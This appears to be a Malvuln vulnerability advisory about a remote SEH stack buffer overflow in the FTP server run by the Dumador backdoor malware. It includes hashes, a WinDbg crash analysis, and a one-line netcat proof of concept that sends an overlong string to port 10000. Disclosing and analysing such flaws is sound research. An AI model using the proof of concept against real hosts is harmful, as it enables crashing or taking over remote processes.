Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/6cc630843cabf23621375830df474bc5.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Dumador.c
Vulnerability: Remote Stack Buffer Overflow (SEH)
Description: The malware runs an FTP server on TCP port 10000. Third-party adversaries who can reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting the Structured Exception Handler (SEH).
Family: Dumador
Type: PE32
MD5: 6cc630843cabf23621375830df474bc5
SHA256: 634eb7d9f5488b46ac44d784da8d82d98a8d86c1c8ef9a838535d44b8e420ea9
Vuln ID: MVID-2024-0679
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 04/15/2024

Memory Dump:
(16e0.150): Stack buffer overflow - code c0000409 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=0401fe41 edx=0401fbf0 esi=00000000 edi=00000002
eip=775ced3c esp=0401f208 ebp=0401f248 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
775ced3c c21400          ret     14h

0:002> .ecxr
eax=0401fec8 ebx=00000000 ecx=0401fe41 edx=0401fbf0 esi=00000410 edi=00000194
eip=74657c7c esp=0401f8b8 ebp=0401f8e0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
kernel32!lstrcpyA+0x1c:
74657c7c 880c16          mov     byte ptr [esi+edx],cl      ds:002b:04020000=??
*** WARNING: Unable to verify checksum for Backdoor.Win32.Dumador.c.6cc630843cabf23621375830df474bc5.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Dumador.c.6cc630843cabf23621375830df474bc5.exe

0:002> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
kernel32!lstrcpyA+1c
74657c7c 880c16          mov     byte ptr [esi+edx],cl

EXCEPTION_RECORD:  0401f408 -- (.exr 0x401f408)
ExceptionAddress: 74657c7c (kernel32!lstrcpyA+0x0000001c)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000008
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 04020000
Attempt to write to address 04020000

PROCESS_NAME:  Backdoor.Win32.Dumador.c.6cc630843cabf23621375830df474bc5.exe

ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_PARAMETER1:  00000015

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

CONTEXT:  0401f458 -- (.cxr 0x401f458)
eax=0401fec8 ebx=00000000 ecx=0401fe41 edx=0401fbf0 esi=00000410 edi=00000194
eip=74657c7c esp=0401f8b8 ebp=0401f8e0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
kernel32!lstrcpyA+0x1c:
74657c7c 880c16          mov     byte ptr [esi+edx],cl      ds:002b:04020000=??
Resetting default scope

WRITE_ADDRESS:  04020000 

FOLLOWUP_IP: 
kernel32!lstrcpyA+1c
74657c7c 880c16          mov     byte ptr [esi+edx],cl

STACK_ADDR_RAW_STACK_SYMBOL: 401fa34

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 00401bf3 to 74657c7c

FAULTING_THREAD:  ffffffff

DEFAULT_BUCKET_ID:  STACKIMMUNE

PRIMARY_PROBLEM_CLASS:  STACKIMMUNE

BUGCHECK_STR:  APPLICATION_FAULT_STACKIMMUNE_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE

STACK_TEXT:  
00000000 00000000 unknown!backdoor.win32.dumador.c.6cc630843cabf23621375830df474bc5.exe+0x0


STACK_COMMAND:  .cxr 000000000401F458 ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME:  unknown!backdoor.win32.dumador.c.6cc630843cabf23621375830df474bc5.exe

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: unknown

IMAGE_NAME:  unknown

DEBUG_FLR_IMAGE_TIMESTAMP:  0

FAILURE_BUCKET_ID:  STACKIMMUNE_c0000409_unknown!Unloaded

BUCKET_ID:  APPLICATION_FAULT_STACKIMMUNE_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_MISSING_GSFRAME_unknown!backdoor.win32.dumador.c.6cc630843cabf23621375830df474bc5.exe

Followup: MachineOwner
---------

0:002> !exchain
0401f2c0: ntdll!_except_handler4+0 (775d6a50)
  CRT scope  0, func:   ntdll!RtlReportExceptionHelper+251 (776157ad)
0401f8d0: kernel32!_except_handler4+0 (7466d450)
  CRT scope  0, filter: kernel32!lstrcpyA+2d (74657c8d)
                func:   kernel32!lstrcpyA+40 (74657ca0)
0401ffcc: 41414141
Invalid exception stack at 41414141


Exploit/PoC:
python -c "print('A'*2000)" | nc64.exe x.x.x.x 10000
220 CONNECTED
ERROR
ERROR
ERROR


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).